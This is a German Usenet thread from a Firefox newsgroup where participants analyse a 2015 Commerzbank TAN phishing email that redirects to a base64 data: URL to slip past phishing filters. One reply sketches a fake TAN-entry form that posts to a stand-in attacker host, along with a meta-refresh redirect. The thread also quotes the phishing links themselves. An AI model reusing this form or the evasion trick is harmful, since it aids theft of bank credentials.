Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > de.comm.software.mozilla.browser > #41698 > unrolled thread

Wie funktioniert dieses Phishing?

Back to article view | Back to de.comm.software.mozilla.browser

Contents

  Wie funktioniert dieses Phishing? Martin Gerdes <martin.gerdes@gmx.de> - 2015-12-08 12:00 +0100
    Re: Wie funktioniert dieses Phishing? Arno Welzel <usenet@arnowelzel.de> - 2015-12-08 16:11 +0100
    Re: Wie funktioniert dieses Phishing? Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> - 2015-12-08 17:02 -0500
      Re: Wie funktioniert dieses Phishing? Martin Gerdes <martin.gerdes@gmx.de> - 2015-12-09 13:00 +0100
        Re: Wie funktioniert dieses Phishing? Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> - 2015-12-09 17:55 -0500
          Re: Wie funktioniert dieses Phishing? Martin Gerdes <martin.gerdes@gmx.de> - 2015-12-10 12:00 +0100
            Re: Wie funktioniert dieses Phishing? Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> - 2015-12-10 17:25 -0500
              Re: Wie funktioniert dieses Phishing? Martin Gerdes <martin.gerdes@gmx.de> - 2015-12-11 02:00 +0100
                Re: Wie funktioniert dieses Phishing? Claus Reibenstein <4spamersonly@kabelmail.de> - 2015-12-11 08:48 +0100
                Re: Wie funktioniert dieses Phishing? Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> - 2015-12-11 15:24 -0500
        Re: Wie funktioniert dieses Phishing? Christoph 'Mehdorn' Weber <spam-fuer@das-mehdorn.de> - 2015-12-11 17:58 +0100
          Re: Wie funktioniert dieses Phishing? Martin Gerdes <martin.gerdes@gmx.de> - 2015-12-12 01:00 +0100

#41698 — Wie funktioniert dieses Phishing?

Mir ist gerade eine Phishing-Mail ins Postfach geraten. 

Sie lautet:

| Ihre TAN-Liste muss aus Sicherheitsgründen überprüft werden. 
| Sollten Sie die Prüfung nicht innerhalb von 2 Werktagen 
| kostenfrei abschließen wird Ihnen eine neue Liste gegen 
| eine Bearbeitungsgebühr von 19,90€ zugesandt.

Klar. 

| Um die Prüfung abzuschließen folgen Sie dem Link am Ende 
| der Email ...

Ja, das habe ich natürlich schon gemerkt. 


Mich interessiert, was dieser Link macht. 

[Achtung! Potentiell gefährlich]
 <https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rj
 a&uact=8&ved=0ahUKEwjBzNm0nsnJAhWG6xQKHdldANcQFggnMAA&url=http%3A%2F%2F
 www.katrinalynneducationalservices.com%2Ffinancial-aid-preparation.html
 &usg=AFQjCNGSvymrz8X2K8RbV6_k45TPNabTgA&sig2=NTnTZ2b7KsJcr13JS3CPsg&bvm
 =bv.108538919,d.d24> 
[/]

Klar, hier wird Google aufgerufen, die Zieladresse ist in obigem Block
ja noch klar erkennbar.

Rufe ich diese Adresse auf (auch direkt, also nach "Herauspräparieren"
des nackten Links), ändert sich die Adressleiste meines Browsers, dann
steht dort drin:

data:text/html;https://commerzbank.de;base64,PCFET0NUWV .... (und noch 
etwa 15000 Zeichen dahinter)

Es erscheint (wie üblich) eine gefakte Bankseite. Soweit klar. 

Ich habe dort nichts eingegeben, noch nicht einmal die Daten von "Peter
Mustermann."

Gewohnheitsmäßig habe ich ins Menü gegriffen "Betrugsversuch melden" --
aber hoppala! Der Menüpunkt für diesen Tab ausgegraut. Offensichtlich
steckt in der Adreßleiste ein base64-kodiertes, somit menschenunlesbarer
Text.

Ich habe diesen Base-64-Text dann dekodieren lassen -- und war erstaunt.
Erwartet hätte ich ein Javascript, das ist es aber nicht, sondern auf
den ersten Blick normales HTML.

Staun! Ich habe nicht gewußt, daß man eine komplette HTML-Seite in die
Adreßzeile stopfen kann. Wozu braucht man so etwas? Oder ist das quasi
implizit?

Was machen die da? 

[toc] | [next] | [standalone]

#41700

Am 2015-12-08 um 12:00 schrieb Martin Gerdes:

[...]
> Staun! Ich habe nicht gewußt, daß man eine komplette HTML-Seite in die
> Adreßzeile stopfen kann. Wozu braucht man so etwas? Oder ist das quasi
> implizit?
> 
> Was machen die da? 

Vermutung: Phishing-Filter umgehen, weil es keine URL mehr ist, die der
Browser gegen entsprechende Listen prüfen könnte bzw. dort wird das nie
auftauchen, weil Nutzer ja, wie Du auch bemerkt hast, das nicht melden
können.


-- 
Arno Welzel
http://arnowelzel.de
http://de-rec-fahrrad.de
http://fahrradzukunft.de

[toc] | [prev] | [next] | [standalone]

#41707

Martin Gerdes wrote on 08. December 2015:
>
> Mir ist gerade eine Phishing-Mail ins Postfach geraten. 
>
> Sie lautet:
>
> | Ihre TAN-Liste muss aus Sicherheitsgründen überprüft werden. 
> | Sollten Sie die Prüfung nicht innerhalb von 2 Werktagen 
> | kostenfrei abschließen wird Ihnen eine neue Liste gegen 
> | eine Bearbeitungsgebühr von 19,90€ zugesandt.
>
> Klar. 
>
> | Um die Prüfung abzuschließen folgen Sie dem Link am Ende 
> | der Email ...
>
> Ja, das habe ich natürlich schon gemerkt. 
>
>
> Mich interessiert, was dieser Link macht. 
>
> [Achtung! Potentiell gefährlich]

[Besser mal entfernt]

> [/]
>
> Klar, hier wird Google aufgerufen, die Zieladresse ist in obigem Block
> ja noch klar erkennbar.
>
> Rufe ich diese Adresse auf (auch direkt, also nach "Herauspräparieren"
> des nackten Links), ändert sich die Adressleiste meines Browsers, dann
> steht dort drin:
>
> data:text/html;https://commerzbank.de;base64,PCFET0NUWV .... (und noch 
> etwa 15000 Zeichen dahinter)
>
> Es erscheint (wie üblich) eine gefakte Bankseite. Soweit klar.

Bei mir leider nicht. Aber mein Browser zum Testen von Phish kann auch
kein Javascript.

Und wenn ich katrinalynneducationalservices punkt com direkt aufrufe,
sehe ich nichts Verdächtiges.

> Ich habe dort nichts eingegeben, noch nicht einmal die Daten von "Peter
> Mustermann."
>
> Gewohnheitsmäßig habe ich ins Menü gegriffen "Betrugsversuch melden" --
> aber hoppala! Der Menüpunkt für diesen Tab ausgegraut. Offensichtlich
> steckt in der Adreßleiste ein base64-kodiertes, somit menschenunlesbarer
> Text.

Wenn das bei mir passiert, klicke ich bei einer anderen (sauberen) Seite
darauf. Muss dann natürlich die saubere URL gegen die des Betrügers
ersetzen.

> Ich habe diesen Base-64-Text dann dekodieren lassen -- und war erstaunt.
> Erwartet hätte ich ein Javascript, das ist es aber nicht, sondern auf
> den ersten Blick normales HTML.

> Staun! Ich habe nicht gewußt, daß man eine komplette HTML-Seite in die
> Adreßzeile stopfen kann. Wozu braucht man so etwas? Oder ist das quasi
> implizit?
>
> Was machen die da? 

Das wüsste ich auch gerne.

Btw. auch wenn man im Quellcode nur base64 sieht, kann man mit Firebug
(ggf. muss man das erst installieren) den dekodierten Code sehen, wenn
man die aktuelle Seite darüber zeigen lässt.
-- 
Andreas

I use a Unix based operating system, which means I get laid almost as often
as I have to reboot my computer.

[toc] | [prev] | [next] | [standalone]

#41716

Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:

>> Mir ist gerade eine Phishing-Mail ins Postfach geraten. 

>> Mich interessiert, was dieser Link macht. 

>> [Achtung! Potentiell gefährlich]

>[Besser mal entfernt]

Wäre nicht nötig gewesen. 

>> Rufe ich diese Adresse auf (auch direkt, also nach "Herauspräparieren"
>> des nackten Links), ändert sich die Adressleiste meines Browsers, dann
>> steht dort drin:

>> data:text/html;https://commerzbank.de;base64,PCFET0NUWV .... (und noch 
>> etwa 15000 Zeichen dahinter)

>> Es erscheint (wie üblich) eine gefakte Bankseite. Soweit klar.

> Bei mir leider nicht. Aber mein Browser zum Testen von Phish kann auch
> kein Javascript.

Ich weiß nicht, ob Javascript hier überhaupt beteiligt war, deswegen
habe ich ja gefragt.

>Und wenn ich katrinalynneducationalservices punkt com direkt aufrufe,
>sehe ich nichts Verdächtiges.

Der Link lautete 

http://www.katrinalynneducationalservices.com/financial-aid-preparation.html

und ist in der Zwischenzeit offensichlich gefixt. Man kann ihn somit
problemlos aufrufen und kommt auf eine völlig langweilige Internetseite.

Möglicherweise hat da jemand die Seite gehackt und den Trick
untergeschoben. 

Mich hätte dennoch interessiert, was da im Datail abgeht. Hat keiner
hier eine Ahnung?

[toc] | [prev] | [next] | [standalone]

#41721

Martin Gerdes wrote on 09. December 2015:
>
> Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:
>
>>> [Achtung! Potentiell gefährlich]
>
>>[Besser mal entfernt]
>
> Wäre nicht nötig gewesen. 

Wenn die Seite länger bestehen sollte, könnte die URL hier sein Rating
bei Suchmaschinen erhöhen.

[...]

>>Und wenn ich katrinalynneducationalservices punkt com direkt aufrufe,
>>sehe ich nichts Verdächtiges.
>
> Der Link lautete 
>
> http://www.katrinalynneducationalservices.com/financial-aid-preparation.html
>
> und ist in der Zwischenzeit offensichlich gefixt. Man kann ihn somit
> problemlos aufrufen und kommt auf eine völlig langweilige Internetseite.
>
> Möglicherweise hat da jemand die Seite gehackt und den Trick
> untergeschoben. 

Aha. Denn bereits als ich die Seite gestern auf rief, kam diese URL. Was
mir nicht verdächtig aus sah.

[...]
-- 
Andreas

I use a Unix based operating system, which means I get laid almost as often
as I have to reboot my computer.

[toc] | [prev] | [next] | [standalone]

#41723

Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:

>>>> [Achtung! Potentiell gefährlich]

>>>[Besser mal entfernt]

>> Wäre nicht nötig gewesen. 

> Wenn die Seite länger bestehen sollte, könnte die URL hier sein Rating
> bei Suchmaschinen erhöhen.

Das dürfte eine rein theoretische Möglichkeit sein.

>> Der Link lautete 

>> http://www.katrinalynneducationalservices.com/financial-aid-preparation.html

>> und ist in der Zwischenzeit offensichlich gefixt. Man kann ihn somit
>> problemlos aufrufen und kommt auf eine völlig langweilige Internetseite.

>> Möglicherweise hat da jemand die Seite gehackt und den Trick
>> untergeschoben. 

> Aha. Denn bereits als ich die Seite gestern aufrief, kam diese URL. Was
> mir nicht verdächtig aussah.

Na ja, ich werde wohl nicht der einzige gewesen sein, der den Phish
gemeldet hat, und der Seiteninhaber wird wohl schnell reagiert haben.

Hat denn keiner der Mitleser eine Ahnung, was da rein technisch
abgegangen ist? 

Gibts möglicherweise eine passendere Gruppe? 

[toc] | [prev] | [next] | [standalone]

#41740

Martin Gerdes wrote on 10. December 2015:
>
> Gibts möglicherweise eine passendere Gruppe? 

de.admin.net-abuse.mail
-- 
Andreas

I use a Unix based operating system, which means I get laid almost as often
as I have to reboot my computer.

[toc] | [prev] | [next] | [standalone]

#41751

Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:

>> Gibts möglicherweise eine passendere Gruppe? 

> de.admin.net-abuse.mail

Und dort werden technische Aspekte eines Browsers besprochen? Staun.
Hätte ich jetzt nicht gedacht.

PS: Kurz mal in die Gruppe reingeschaut: Nein, keine auch nur im Ansatz
passende Diskussion. Aber Du weißt das ja, schreibst dort schließlich.

[toc] | [prev] | [next] | [standalone]

#41752

Martin Gerdes schrieb am 11.12.2015 um 02:00:

> Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:
> 
>>> Gibts möglicherweise eine passendere Gruppe? 
> 
>> de.admin.net-abuse.mail
> 
> Und dort werden technische Aspekte eines Browsers besprochen?

Nein. Haut auch niemand behauptet.

Gruß
Claus

[toc] | [prev] | [next] | [standalone]

#41767

Martin Gerdes wrote on 10. December 2015:
>
> Andreas Kohlbach <decem15.8.ankman@spamgourmet.net> schrieb:
>
>>> Gibts möglicherweise eine passendere Gruppe? 
>
>> de.admin.net-abuse.mail
>
> Und dort werden technische Aspekte eines Browsers besprochen? Staun.
> Hätte ich jetzt nicht gedacht.

Nein. Aber Methoden, um Spam unter die Leute zu bringen.

Ich glaube nicht, dass es die Sache von genau Firefox ist. Andere Browser
würden es genau so handhaben.

> PS: Kurz mal in die Gruppe reingeschaut: Nein, keine auch nur im Ansatz
> passende Diskussion. Aber Du weißt das ja, schreibst dort schließlich.

Man müsste die halt starten. :-)
-- 
Andreas

I use a Unix based operating system, which means I get laid almost as often
as I have to reboot my computer.

[toc] | [prev] | [next] | [standalone]

#41763

Hallo!

* Martin Gerdes <martin.gerdes@gmx.de>:

>>> data:text/html;https://commerzbank.de;base64,PCFET0NUWV .... (und noch 
>>> etwa 15000 Zeichen dahinter)

  Daß man Dateien als "data-URL" verpacken kann, um sie direkt
auszuliefern, ist sicher bekannt. Man sieht zwar häufiger bei
(kleinen) Bildern, die in HTML-Dokumente eingebettet werden,
aber es geht natürlich genausogut mit HTML.

> Ich weiß nicht, ob Javascript hier überhaupt beteiligt war, deswegen
> habe ich ja gefragt.

  Vermutlich hätte schon ein

<meta http-equiv="refresh" content="5; url=data:...">

genügt, aber man kann die Weiterleitung auch mit JavaScript
machen.

  Oder mußtest du erst noch einen Link anklicken, um dorthin zu
gelangen?

> Mich hätte dennoch interessiert, was da im Datail abgeht. Hat keiner
> hier eine Ahnung?

  Vermutlich hat jemand einen Redirect wie oben skizziert in der
Seite montiert. Der Browser stellt den URL da, indem er das Base64
dekodiert und das darin angeblich enthaltene text/html rendert.
Sehr wahrscheinlich war das auch ganz normales HTML -- leider kann
man das aus dem Schnipsel oben nicht recht restaurieren:

| $ echo 'PCFET0NUWV==' | base64 -d
| <!DOCTY

  (die Gleichheitszeichen sind nur Füllmaterial, damit base64
nicht wegen kaputtem Input meckert)

  Aller Wahrscheinlichkeit nach wäre da ein Formular drin gewesen,
wo man die TANs eingeben soll und das dann an einen Server der
Angreifer geschickt wird, ungefähr so:

| <form action="http://boeserbube.example.com">
|     Geben Sie hier alle Ihre TANs ein:
|     <textarea name="tanliste"></textarea>
|     <input type="submit">
| </form>

  Wenn man das ausfüllt, wird es nach extern verschickt, selbst,
wenn man das Dokument nur lokal hat.


  Und "Betrugsversuch melden" funktioniert wahrscheinlich deshalb
nicht, weil das aktuelle Dokument mit keinem Server verknüpft ist.
Der Besuch von "data:" ist ungefähr so, als hättest du ein lokales
Dokument mit "file:" geöffnet. Da dürfte das auch ausgegraut sein.

  Ich teile daher die Vermutung, daß die Methode zur Vermeidung
des Phishing-Filters dient, denn "data-URLs" sind dort eher nicht
hinterlegt, sondern maximal Server und Pfade. Und "data-URLs" wird
auch keiner aufnehmen, da man nur die Original-Datei etwas
abändern muß und das base64 ab der Stelle ganz anders aussieht.
Das würde also eine sehr lange Liste.

  Und den Original-Server melden ist schwierig, weil sicherlich
gleich der Redirect kommt und man kaum Zeit hat, den Menüpunkt
anzuwählen. (Es sei denn, man weiß, wie man den automatischen
Redirect im Browser abschaltet.)

Christoph

-- 
Er meint Leute, die den Webserver auf der Linuxkiste laufen
haben und die X-Box zum Spielen verwenden, anstatt Wochen
ihres Lebens dafuer zu investieren, dass es umgekehrt geht.
(Thomas Themel)

[toc] | [prev] | [next] | [standalone]

#41779

Christoph 'Mehdorn' Weber <spam-fuer@das-mehdorn.de> schrieb:

>>>> data:text/html;https://commerzbank.de;base64,PCFET0NUWV .... (und noch 
>>>> etwa 15000 Zeichen dahinter)

>Daß man Dateien als "data-URL" verpacken kann, um sie direkt
>auszuliefern, ist sicher bekannt. 

Das wußte ich nicht. 

>Man sieht zwar häufiger bei (kleinen) Bildern, die in 
>HTML-Dokumente eingebettet werden, aber es geht natürlich 
>genausogut mit HTML.

Das kenne ich auch nicht, hast Du mal ein einfaches Beispiel für mich?

>> Ich weiß nicht, ob Javascript hier überhaupt beteiligt war, deswegen
>> habe ich ja gefragt.

>Vermutlich hätte schon ein
><meta http-equiv="refresh" content="5; url=data:...">

>> Mich hätte dennoch interessiert, was da im Datail abgeht. Hat keiner
>> hier eine Ahnung?

>Vermutlich hat jemand einen Redirect wie oben skizziert in der
>Seite montiert. 

Stimmt. Wartezeit 0, also Weiterleitung sofort. 

>Der Browser stellt den URL da, indem er das Base64
>dekodiert und das darin angeblich enthaltene text/html rendert.
>Sehr wahrscheinlich war das auch ganz normales HTML 

ACK. Ich habe die Datei hier lokal gespeichert. 

>Aller Wahrscheinlichkeit nach wäre da ein Formular drin gewesen,
>wo man die TANs eingeben soll und das dann an einen Server der
>Angreifer geschickt wird, ungefähr so:

Erstmal Kontoidentifikation und PIN, dann Weiterleitung auf eine zweite
Seite (nach dem gleichen Verfahren), auf dem man dann ein Bild der
TAN-Liste hochladen soll. :-)

>Wenn man das ausfüllt, wird es nach extern verschickt, selbst,
>wenn man das Dokument nur lokal hat.

Klar. 

>Und "Betrugsversuch melden" funktioniert wahrscheinlich deshalb
>nicht, weil das aktuelle Dokument mit keinem Server verknüpft ist.

>Ich teile daher die Vermutung, daß die Methode zur Vermeidung
>des Phishing-Filters dient

>Und den Original-Server melden ist schwierig, weil sicherlich
>gleich der Redirect kommt und man kaum Zeit hat, den Menüpunkt
>anzuwählen. 

Das war ist in diesem Fall ganz einfach, weil der URL im Klartext in
diesem HTML stand.

Wenn es Dich interessiert:

http://www.ceeh.at/   images/mp3/de/intro.php
                   ^^^
Die 3 Leerzeichen habe ich eingefügt, damit keiner unversehens
draufdrückt.

>(Es sei denn, man weiß, wie man den automatischen
>Redirect im Browser abschaltet.)

Wie geht das? 

Ansonsten: Danke für Deine Auskunft. Das so etwa habe ich wissen wollen.

[toc] | [prev] | [standalone]

Back to top | Article view | de.comm.software.mozilla.browser

csiph-web